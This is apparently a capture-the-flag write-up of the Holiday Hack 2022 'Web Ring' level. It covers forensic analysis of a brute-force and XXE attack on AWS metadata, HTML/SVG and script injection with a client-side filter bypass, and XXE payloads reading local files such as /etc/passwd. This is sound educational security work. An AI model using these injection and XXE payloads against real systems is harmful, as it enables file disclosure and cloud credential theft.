Holiday Hack 2022: Web Ring
Orienting
On the next level down, I’ll find Tangle Coalbox outside the Web Ring with a warning about Sporcs:
Hey there, Gumshoe. Tangle Coalbox here again.
Morcel told you all about the Flobbits, right? Well, be careful ahead.
Once thought to be the stuff of myths, the Sporcs truly are real, and as mean as they are in the stories.
Once we gained the Flobbits’ trust, they taught us all about the Sporcs. They, too, were part of the Great Schism.
They were another people who split off from the colony of Frostians in Oz, though, they’re more closely related to the trolls.
The Flobbits, on the other hand, are more like the Munchkins. Like the Flobbits, the Sporcs appear when the rings are at risk.
Digging far down into the ground causes them to emerge, too. Seems we created a perfect storm. Whoops!
They’re definitely up to no good, and trying to get the Rings for themselves. Tread lightly, friend, and good luck!
Four Forensics Tasks
Challenge
Alabaster Snowball is standing alone in a relatively dark tunnel:
Hey there! I’m Alabaster Snowball
And I have to say, I’m a bit distressed.
I was working with the dwarves and their Boria mines, and I found some disturbing activity!
Looking through these artifacts, I think something naughty’s going on.
Can you please take a look and answer a few questions for me?
First, we need to know where the attacker is coming from.
If you haven’t looked at Wireshark’s Statistics menu, this might be a good time!
There’s no terminal, but he does give a link to download some artifacts, which come as boriaArtifacts.zip
, and contains two files, a PCAP and a weberror.log
file.
There’s also a new hint (and three more that unlock after solving each challenge):
- The victim web server is 10.12.42.16. Which host is the next top talker?
- The site’s login function is at
/login.html
. Maybe start by searching for a string.- With forced browsing, there will be many 404 status codes returned from the web server. Look for 200 codes in that group of 404s. This one can be completed with the PCAP or the log file.
- AWS uses a specific IP address to access IMDS, and that IP only appears twice in this PCAP.
The badge has four open tasks associated with these artifacts:
- Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints.
- The first attack is a brute force login. What’s the first username tried?
- The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack?
- The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?
Video Solution
I’ll show walking through all four of these in this video:
Naughty IP
Orienting in the PCAP
Looking at the Statistics -> Conversations shows that the webserver being attacked is at 10.12.42.16. Every stream is some IP talking to this one:
Most of those are on port 80:
Sorting by most interaction, 18.222.86.32 stands out as having sent by far the most traffic to the server:
Looking at Statistics -> Protocol Hierarchy, the traffic is all HTTP, with some of that being Form submissions:
Form Data
Form submissions are interesting, as they are often a vector to attack. I’ll filter on these to see they are all from the IP above, 18.222.86.32:
The body of the POST requests show a username and password, like this one:
This is clearly a brute force attack, and solidifies the answer.
I can see similar results in the web log data. 18.222.86.32 is the most common IP:
$ cat weberror.log | cut -d' ' -f1 | grep . | sort | uniq -c | sort -nr
1384 18.222.86.32
136 52.15.98.99
131 18.222.86.46
131 18.216.39.196
129 3.19.71.188
...[snip]...
And there are some GET requests before tons of POST requests to /login.html
:
$ cat weberror.log | grep -F '18.222.86.32' | head -30
18.222.86.32 - - [05/Oct/2022 16:44:53] "GET / HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:45:58] "GET /aboutus.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:03] "GET /admin.html HTTP/1.1" 302 -
18.222.86.32 - - [05/Oct/2022 16:46:03] "GET / HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:08] "GET /aboutus.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:12] "GET /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:16] "GET /aboutus.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:18] "GET /aboutus.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:22] "GET /aboutus.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:24] "GET /aboutus.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:29] "GET /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:33] "GET /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:35] "GET /admin.html HTTP/1.1" 302 -
18.222.86.32 - - [05/Oct/2022 16:46:35] "GET / HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:39] "GET / HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:41] "POST /login.html HTTP/1.1" 200 -
...[snip]...
Credential Mining
The next question asks me to look at the brute force, and submit the first username submitted. I’ve already got this lined in up Wireshark. Making sure to pick the first POST to /login.html
, I’ll see the payload:
The answer is “alice”:
404 FTW
Now there’s a forced browsing (or directory brute force) attack. I’ll note this in the web logs, just after the POSTs stop:
All these 404s so closely together suggest a tool like feroxbuster
or gobuster
, etc.
I can look at these packets in Wireshark to see if the User-Agent String gives it away, but it’s set to look like Firefox:
Towards the bottom of the logs associated with 18.222.86.32, there’s a 200 request to /proc
, before it starts sending POST requests to /proc
:
The answer here is “/proc”:
Alabaster
IMDS, XXE, and Other Abbreviations
IMDS is the AWS Instance Metadata Service, an API which is available in EC2 instances at the IP 169.254.169.254.
XXE is a type of attack against servers that read XML input.
I’ll use the following Wireshark filter to get HTTP requests and responses from the malicious IP:
ip.addr==18.222.86.32 and (http.request or http.response)
Looking at those POST requests to /proc
, there’s a clear XXE attack going on:
This first one doesn’t return anything, but the next payload does:
In the response, where it was foo
, now it shows /etc/passwd
:
The attacker uses XXE to get the local IP from icanhazip.com
, and then starts enumerating the IMDS, eventually get the security credentials from this request:
The response has the keys:
The answer is http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
.
Boria Mine Door
Hints
There’s a new task to talk to Alabaster:
Fantastic! It seems simpler now that I’ve seen it once. Thanks for showing me!
Hey, so maybe I can help you out a bit with the door to the mines.
First, it’d be great to bring an Elvish keyboard, but if you can’t find one, I’m sure other input will do.
Instead, take a minute to read the HTML/JavaScript source and consider how the locks are processed.
Next, take a look at the
Content-Security-Policy
header. That drives how certain content is handled.Lastly, remember that input sanitization might happen on either the client or server ends!
There’s two additional hints in the badge:
- The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
- Understanding how Content-Security-Policy works can help with this challenge.
Challenge
Further into the cave, Hal Tandybuck is standing near a Cranberry Pi and a locked door:
Oh hi, I’m Hal Tandybuck. And who might you be?
I’m hanging out by the door to the mines here because, well, I haven’t figured out the locks yet.
It actually reminds me of this locked crate I had three years ago…
I doubt we’ll get much in the way of debug output.
Think you can help me get through?
The Pi opens this console:
On clicking “Got it.”, the six locks are presented:
On entering text into any of the boxes and hitting “GO”, that text is rendered back as an image in the black space below:
General Analysis
HTML Structure
The page, like all terminals and challenges, is an iframe
inside the main HHC page:
Inside that page, each lock is its own iframe
:
Each lock (or “pin”) has a form
with an input
and a button
, and a div
of class="output"
and an img
with class="captured"
.
Network Traffic
When I send text to one of the locks, it sends a POST to /pinX
(where X is the number) with a body of inputTxt=[text]
. The response is very similar to what’s already there, but it includes a new JavaScript include:
<script src='js/ee89026a6c5603c51b4504d218ac60f6874b7750.js'></script>
The hash name of the file before .js
changes each time, though the same text returns the same hash, so it is likely a SHA1 generated with some kind of secret salt and the input text.
That JavaScript sets a results
object:
const results = {
"questionIndex": 1,
"completed": false,
"attemptHash": "ee89026a6c5603c51b4504d218ac60f6874b7750",
"wires": [
{
"color": [
255,
255,
255
],
"path": []
}
],
"token": null
};
pin.js
then sets the image to be [hash].png
:
if (typeof results !== 'undefined') {
document.querySelector('img.captured').src = `images/${results.attemptHash}.png`;
document.body.classList.add('capture');
window.parent.postMessage(JSON.stringify(results), '*');
console.log('COMPLETED:', results.completed);
if (results.completed) {
document.body.classList.add('completed');
document.querySelector('.output').innerText = 'Unlocked!';
document.querySelector('input').disabled = true;
document.querySelector('button').disabled = true;
}
}
and [hash].png
is the rendered text as an image:
Lock 1
I need to connect the two white pipes with text, like in the example. A bunch of &
will actually do it just fine:
Going a bit deeper, I’ll look at the dev tools page Elements tab, and see that each lock is an iframe
:
The first “pin” has a comment under the form:
That solves it as well:
Lock 2
Source Analysis
The pin2 iframe
has a different comment under the form
:
HTML Injection
The server is taking my text and using it to generate an image. It’s worth seeing what happens if I send HTML.The solution could be as simple as sending a div
with a white background:
<div style="width: 200px; height: 200px; background: white;"></div>
This returns a white image that fills the lock, and completes the challenge:
SVG Background
To make more complicated shapes, I’ll turn to SVGs. There’s a nice SVG Tutorial on the Mozilla docs page. Basically, an SVG allows the user to define points and shapes in text that are then rendered by a browser.
svgviewer.dev allows me to generate SVGs and immediately see what they render to. First I need to define the canvas size. In Chrome dev tools, I’ll see that the iframe
is set to 200px x 200px:
I’ll set it to that, and then add a green circle (from the tutorial page):
That payload is:
<svg width="200" height="200">
<circle cx="100" cy="100" r="80" fill="green" />
</svg>
I’ll paste that into one of the locks, and the SVG does render:
That means I can inject more complicated images.
Solve with SVG
To solve the lock, I’ll generate an SVG that will connect the two pipes. This page is the docs for a line
. I’ll make a line:
It’s important to set the background to dark so I can see it.
stroke-width
will make it thicker:
Entering that into lock 2 is a bit off:
I’ll adjust the payload to this:
<svg width="200" height="200">
<line x1="0" y1="75" x2="200" y2="150" stroke="white" stroke-width="20" />
</svg>
Which solve the challenge:
Lock 3
Source Analysis
“pin3” has a new comment in the form:
This is a hint to send JavaScript.
Solve JavaScript
I’ll use a script
tag to have JavaScript that sets the background color to blue:
<script>document.body.style.backgroundColor = "blue";</script>
I can set the full body as that’s what’s being rendered here. It works:
Interestingly, for reasons I don’t totally understand, this doesn’t work on lock 2. If I send this exact payload to the first three locks, only 2 doesn’t work:
There must be some server-side filtering of JavaScript for pin2
.
Solve with SVG
With the power of SVG at my disposal, I can solve this one very similarly to how I solved lock 3, just making the stroke
blue and moving the y values:
<svg width="200" height="200">
<line x1="0" y1="100" x2="200" y2="10" stroke="blue" stroke-width="20" />
</svg>
Success
On solving the third lock, the challenge is actually complete!
Hal appreciates the help, and offers some hints for the next challenge, as well as encourages me to finish the remaining locks:
Great! Thanks so much for your help!
When you get to the fountain inside, there are some things you should consider.
First, it might be helpful to focus on Glamtariel’s CAPITALIZED words.
If you finish those locks, I might just have another hint for you!
Lock 4
Blocked by Filter
For the forth lock, it seems like I need two lines, one white and one blue. I’ll come up with something like this:
<svg width="200" height="200">
<line x1="0" y1="50" x2="200" y2="50" stroke="white" stroke-width="20" />
<line x1="0" y1="120" x2="200" y2="120" stroke="blue" stroke-width="20" />
</svg>
When I submit that, it returns an unexpected result:
It seems that the <
and first "
are removed. There’s some kind of filtering.
Source Analysis
Looking at the client-side source for the page, I’ll see that pin4
has some extra stuff:
The input
field has an onblur
to call sanitizeInput()
. That function is defined in the head
section:
onblur
runs when I click out of the input
box (on the “GO” button, for example), calling sanitizeInput
, which gets the contents of the box and calls .replace
four times, to remove "'<>
from the value.
Bypass Filter
replace
only replaces the first value, which is why the first "
is missing in the resulting image, but not the latter ones. So I can just add the characters I need to the front of the string, like this (and after a couple of adjustments to y values), it solves:
<>"<svg width="200" height="200">
<line x1="0" y1="50" x2="200" y2="50" stroke="white" stroke-width="20" />
<line x1="0" y1="130" x2="200" y2="130" stroke="blue" stroke-width="20" />
</svg>
Lock 5
Enhanced Filter
Sending the payload that solved lock 4 to lock 5 returns:
Lock 5 has the same kind of filtering, but this time it’s using regex to remove all instances.
const sanitizeInput = () => {
const input = document.querySelector('.inputTxt');
const content = input.value;
input.value = content
.replace(/"/gi, '')
.replace(/'/gi, '')
.replace(/</gi, '')
.replace(/>/gi, '');
}
onblur
To bypass this, I’ll focus more on the trigger than the sanitizeInput
function itself:
<input class="inputTxt" name="inputTxt" type="text" value="" autocomplete="off" onblur="sanitizeInput()">
The input
has the onblur
attribute. From the Mozilla docs:
The
blur
event fires when an element has lost focus. The event does not bubble, but the relatedfocusout
event that follows does bubble.
So if I start with a string like this:
As soon as I click anywhere else, it updates to:
However, if I hit enter, the focus never leaves, and the form submits:
Solve with SVG
Now I just need an SVG with two lines, and to get the x and ys lined up right. This works:
<svg width="200" height="200">
<line x1="0" y1="140" x2="200" y2="40" stroke="red" stroke-width="20" />
<line x1="30" y1="165" x2="200" y2="95" stroke="blue" stroke-width="20" />
</svg>
Lock 6
Lock 6 is actually very simple, since I’m already working with SVGs. There’s no filtering. So at first, something like this seems like it should work:
<svg width="200" height="200">
<line x1="0" y1="35" x2="200" y2="35" stroke="green" stroke-width="20" />
<line x1="0" y1="75" x2="200" y2="110" stroke="red" stroke-width="20" />
<line x1="0" y1="115" x2="200" y2="200" stroke="blue" stroke-width="20" />
</svg>
But it doesn’t light the top green sensor:
I’ll grab wiring.png
from here:
I can open it in Gimp and use the dropper tool to set that green as the foreground color, and then look at it:
I’ll update the SVG:
<svg width="200" height="200">
<line x1="0" y1="35" x2="200" y2="35" stroke="#00ff00" stroke-width="20" />
<line x1="0" y1="75" x2="200" y2="110" stroke="red" stroke-width="20" />
<line x1="0" y1="115" x2="200" y2="200" stroke="blue" stroke-width="20" />
</svg>
Alternatively, this reference shows that #00ff00 is “lime”, and that works too.
With that, the door is completely unlocked:
Glamtariel’s Fountain
Hints
Hal is shocked:
Wha - what?? You opened all the locks?! Well then…
Did you see the nearby terminal with evidence of an XXE attack?
Maybe take a close look at that kind of thing.
It unlocks new hints in the badge as well:
- Sometimes we can hit web pages with XXE when they aren’t expecting it!
- Early parts of this challenge can be solved by focusing on Glamtariel’s WORDS.
Challenge
On the other side of the door I’ll find Akbowl looking at a “fountain”:
Huh - what? Why do you disturb Akbowl?
I’m trying to get the ring in here for the Sporc Chief.
Unlucky for me it’s lost in this water basin thing.
You will not get it out before Akbowl!
The fountain is a link, and clicking on it opens glamtarielsfountain.com in a new tab:
Enumeration
Capitalized Words
The site has Glamtariel, a fountain, and four objects at the top right. I can drag an object onto either and drop them, and it changes what they say. For example, if I drag santa into Glamtariel:
Dragging santa onto the fountain leads to something different:
After dragging each item onto each character, the four items change, and then again, showing 12 items in total. Dragging these items around produces a bunch of statements from each character. I’ll note all the capitalized words, as well as some other important statements:
- The capitalized words are: TAMPER, PATH, TYPE, APP, TRAFFIC FILES, SIMPLE FORMAT, AND RINGLIST.
- There’s talk of tampering with cookies.
- APP and PATH appear in the same response. These two will go together.
- Glamtariel says “I keep a list of all my rings in my RINGLIST file.”
Traffic Analysis
When I drop an item on a character, it sends a POST request to /dropped
with a JSON payload:
POST /dropped HTTP/2
Host: glamtarielsfountain.com
Cookie: GCLB="7f7e33fd36350c83"; MiniLembanh=014e6ef2-5b01-4b56-8491-7dc11a93afa4.HcLoZGbrhSqavRGTgkrkBrq5k4A
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Grinchum: IjNmNmY3MmVjYzJhNzQ5YmFkN2FmNjg0ZTM5ZDIxYmZhN2FhZjNlMDYi.Y7a3xw.x8RATlO44QmXq75F51mH9uLolyk
Content-Length: 52
Origin: https://glamtarielsfountain.com
Referer: https://glamtarielsfountain.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"imgDrop":"img2","who":"princess","reqType":"json"}
The “Snack” shown on the page is sent as the MiniLembanh
cookie, and the “Ticket” is sent as the X-Grinchum
header.
The response body has JSON, with the appResp
holding both characters responses, separated by ^
:
HTTP/2 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 11:43:07 GMT
Content-Type: application/json
Content-Length: 259
Set-Cookie: MiniLembanh=014e6ef2-5b01-4b56-8491-7dc11a93afa4.HcLoZGbrhSqavRGTgkrkBrq5k4A; Domain=glamtarielsfountain.com; Path=/
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
{
"appResp": "I don't know why anyone would ever ask me to TAMPER with the cookie recipe. I know just how Kringle likes them.^Glamtariel likes to keep Kringle happy so that he and the elves will visit often.",
"droppedOn": "princess",
"visit": "none"
}
I’ll note it’s a Python webserver.
Cookies
There’s a hint about tampering with cookies. If I use Burp Proxy to intercept a request and mess with the MiniLembanh
cookie at all, Grinchum appears:
Looking at the response, it has the visit
field set:
{
"appResp": "Trying to TAMPER with Kringle's favorite cookie recipe or the entrance tickets can't help you Grinchum! I'm not sure what you are looking for but it isn't here! Get out!^Miserable trickster! Please click him out of here.",
"droppedOn": "none",
"visit": "static/images/grinchum-supersecret_9364274.png,265px,135px"
}
There was one other time the visit field gets set, when it has a weird eye thing loaded in the responses that comes from dropping the grey ring on the fountain:
That response looks like:
{
"appResp": "Careful with the fountain! I know what you were wondering about there. It's no cause for concern. The PATH here is closed!^Between Glamtariel and Kringle, many who have tried to find the PATH here uninvited have ended up very disAPPointed. Please click away that ominous eye!",
"droppedOn": "fountain",
"visit": "static/images/stage2ring-eyecu_2022.png,260px,90px"
}
These are useful for getting the path, static/images
, which I’ll need later.
(Not really) XXE POC
JSON -> XML
I’ve got multiple hints at this point to look for XXE. As XXE is a XML attack, the first thing I need to do is figure out how to get the site to accept XML.
Online converters like this one will convert the JSON body to XML, and I’ll update the reqType
from json
to xml
.:
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<imgDrop>img2</imgDrop>
<who>princess</who>
<reqType>xml</reqType>
</root>
I’ll send the POST request to Burp Repeater, and play with it. If I add this as the body, and send without changing anything else, the response is basically a failure:
{
"appResp": "Sorry, we dont quite understand what you were trying to share.^Sorry, we dont quite understand what you were trying to share.",
"droppedOn": "none",
"visit": "none"
}
That’s because I need to change the Content-Type
header from application/json
to application/xml
. Once I do that, there’s a different response:
{
"appResp": "Zoom, Zoom, very hasty, can't do that yet!^Zoom, Zoom, very hasty, can't do that yet!",
"droppedOn": "none",
"visit": "none"
}
Once I drag enough items around, eventually, the same request will work, returning the same stuff as the JSON version.
XXE-ish
The part about this challenge that gets really frustrating is that the application is not actually vulnerable to XXE.
Think about how XXE works. I submit some values, but in place of one of them, I give a variable (or entity) that loads something, and then hopefully that field is displayed back to me. If it’s not, I’ll have blind XXE where I have to rely on some kind of exfil back to my host. The only potential for a field to be displayed back to me would be in the droppedOn
value in the response.
I’ve already noted that the application is aware of at least XML, and has some triggers for when I’m allowed to use it. The entire application is not exploitable by XXE, but rather looking for various XXE payloads and responding if it sees them. It’s important to keep this in mind and do a lot of guessing to figure out what the application is looking for, and you can’t use what you know about a typical XXE to test hypothesises.
I’ll add an XXE attack with something like this:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<imgDrop>img2</imgDrop>
<who>&xxe;</who>
<reqType>xml</reqType>
</root>
This would put the contents of /etc/passwd
into maybe the droppedOn
output. It fails:
{
"appResp": "There's no one else here who can understand and communicate like that except me.^Well, I understand a bit, but can't communicate with it at all.",
"droppedOn": "none",
"visit": "none"
}
Thinking of this as a game and not an exploit, I think there’s a clue there that the attack must target someone “who understands”. I’ll move the &xxe;
to imgDrop
and put princess
back in who
:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</reqType>
</root>
This returns:
{
"appResp": "Sorry, we dont know anything about that.^Sorry, we dont know anything about that.",
"droppedOn": "none",
"visit": "none"
}
Guessing a Path
At this point, I have to guess the path that the XXE game is looking for. The hints include APP
, SIMPLE FORMAT
, and references to a RINGLIST file. For some reason, this file is in static/images
, and I’ll need the full path, which is in /app
. I would expect a simple file format to have no extension, or something like .txt
. Putting all this together with a lot of guessing, I’m able to get a different response when I try to read /app/static/images/ringlist.txt
with this payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</reqType>
</root>
The response says:
{
"appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)",
"droppedOn": "none",
"visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px"
}
Following the Clues
Find Silver Ring
Now that I have found a foothold in the game, I’ll look more closely at the visit
image:
The folder is labeled x_phial_pholder_2022
and the paper says bluering.txt
and redring.txt
.
A bit more guessing and on trying to read /app/static/images/x_phial_pholder_2022/bluering.txt
:
{
"appResp": "I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.",
"droppedOn": "none",
"visit": "none"
}
Similarly with /app/static/images/x_phial_pholder_2022/redring.txt
{
"appResp": "Hmmm, you still seem awfully interested in these rings. I can't blame you, they are pretty nice.^Oooooh, I can just tell she'd like to talk about them some more.",
"droppedOn": "none",
"visit": "none"
}
Neither of these help me much, but if these two rings are in this folder, could there be others? goldring.txt
doesn’t return anything, but silverring.txt
does:
{
"appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!",
"droppedOn": "none",
"visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px"
}
The image of the red ring has another path on it:
goldring_to_be_deleted.txt
.
Changing the XXE
Reading gold_ring_to_be_deleted.txt
returns a response with some capitalized terms:
{
"appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
"droppedOn": "none",
"visit": "none"
}
This involves a lot more guessing, but I believe the hint here is to look at the request, and try using a different TYPE. The trick is to actually put the XXE payload in the reqType
field. For reasons that I don’t understand, the imgDrop
must be img1
for this to work as well. That gives this payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<root>
<imgDrop>img2</imgDrop>
<who>princess</who>
<reqType>&xxe;</reqType>
</root>
This returns:
{
"appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!",
"droppedOn": "none",
"visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}
Glamtariel is giving me the golden ring:
“goldring-morethansupertopsecret76394734.png” solves the challenge:
Story
I’ve now recovered the third ring, the Web Ring:
The story is at 56%:
Five Rings for the Christmas king immersed in cold
Each Ring now missing from its zone
The first with bread kindly given, not sold
Another to find ‘ere pipelines get owned
One beneath a fountain where water flowed
Akbowl is not happy:
No! That’s not yours!
This birdbath showed me images of this happening.
But I didn’t believe it because nobody is better than Akbowl!
Akbowl’s head is the hardest! That’s what the other sporcs tell me.
I guess Akbowl’s head is not the smartest.
Grinchum is here too:
😏 First lost… second lost… third lost. 😟
Where are they? 😦 WHERE ARE THEY, preciouses?
No! Aaargh! Lost!
😖 You - naggy human. Mustn’t bother us. 😱 Not its business! grinchum..grinchum